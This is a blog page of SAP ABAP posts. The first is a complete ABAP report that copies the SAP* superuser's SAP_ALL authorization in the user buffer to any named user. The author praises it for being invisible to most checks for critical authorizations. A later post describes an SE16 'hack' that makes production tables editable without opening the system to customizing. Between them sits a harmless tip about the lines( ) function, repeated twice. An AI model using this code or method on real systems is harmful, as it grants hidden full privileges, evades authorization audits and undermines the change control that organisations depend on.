Hi Folks,
this is from an old friend of mine. I reproduce it here with his authorization
*
*Copyright (C) 2005 Krapinskij (krapinskij@yahoo.it)
*
*This program is free software; you can redistribute it and/or
*modify it under the terms of the GNU General Public License
*as published by the Free Software Foundation; either version 2
*of the License, or (at your option) any later version.
*
*This program is distributed in the hope that it will be useful,
*but WITHOUT ANY WARRANTY; without even the implied warranty of
*MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
*GNU General Public License for more details.
*
*You should have received a copy of the GNU General Public License
*along with this program; if not, write to the Free Software
*Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA
*
*&---------------------------------------------------------------------*
*& Report Z_getsapstar
*& *
*&---------------------------------------------------------------------*
*& *
*& *
*&---------------------------------------------------------------------*
REPORT Z_getsapstar .
PARAMETERS clean TYPE boole_d AS CHECKBOX.
PARAMETERS uname TYPE sy-uname.
PARAMETERS mandt TYPE sy-mandt DEFAULT '010'.
IF uname IS INITIAL.
uname = sy-uname.
ENDIF.
DATA zusr04 LIKE usr04 .
DATA zust04 LIKE ust04 .
DATA zprofs LIKE usr04-profs.
DATA zusrbf2 LIKE usrbf2 OCCURS 0 WITH HEADER LINE.
IF clean IS INITIAL.
SELECT * FROM usrbf2 CLIENT SPECIFIED
INTO TABLE zusrbf2
WHERE mandt = mandt AND
bname = 'SAP*' AND
auth = '&_SAP_ALL' .
IF sy-subrc NE 0.
WRITE: / 'Nothing found in this client. Try another'.
EXIT.
ENDIF.
LOOP AT zusrbf2.
zusrbf2-bname = uname.
MODIFY zusrbf2 INDEX sy-tabix TRANSPORTING bname.
ENDLOOP.
INSERT usrbf2 FROM TABLE zusrbf2 ACCEPTING DUPLICATE KEYS.
ELSE.
DELETE FROM usrbf2 WHERE bname = uname AND
auth = '&_SAP_ALL'.
ENDIF.
The nice thing is that it does not change the user profile, but only the
user buffer for authorization. So it is invisible to most programs
checking users for critical authorizations.
Saturday, December 20, 2014
Tuesday, December 2, 2014
function lines( ) in SAP ABAP instead of "describe table lines"
Hi Folks,
i just came across the lines( ) function in abap.
Instead of " describe table lines nlines" now we can directly say if lines ( lt_table ) > 5...
without the need to declare an extra varialble
It is quite handy indeed!
Here the help extract
Enjoy!
lines - Row Function
A row (or line) function is available for internal tables.
Syntax
... lines( arg ) ...
The lines function returns the number of rows (or lines) in an internal table. The argument arg must be an internal table. The return value has the type i.
Note
The function described here is one of the function that can also be used in the extended functional operand positions of the statements MOVE, CASE, and WHEN.
i just came across the lines( ) function in abap.
Instead of " describe table lines nlines" now we can directly say if lines ( lt_table ) > 5...
without the need to declare an extra varialble
It is quite handy indeed!
Here the help extract
Enjoy!
lines - Row Function
A row (or line) function is available for internal tables.
Syntax
... lines( arg ) ...
The lines function returns the number of rows (or lines) in an internal table. The argument arg must be an internal table. The return value has the type i.
Note
The function described here is one of the function that can also be used in the extended functional operand positions of the statements MOVE, CASE, and WHEN.
Thursday, October 9, 2014
How to make an object editable in a production systems via OBJH SAP ABAP
Hi Folks!
You want to
make tables and view clusters editable in a production system
without opening the whole system to customizing?
You want the same
method works also for other objects ( for example TM and PY rules and schemas )
Go to se16
table OBJH
Select your
object ( in my case the view )
Explode the
line
Use the
usual hack to change from se16 to change the flag cursetting to ‘X’.
Save
Goto sm30
enter v_t52el and try to change.
Voila' it
can now be changed.
Hope it
helped
Cheers
Subscribe to:
Posts (Atom)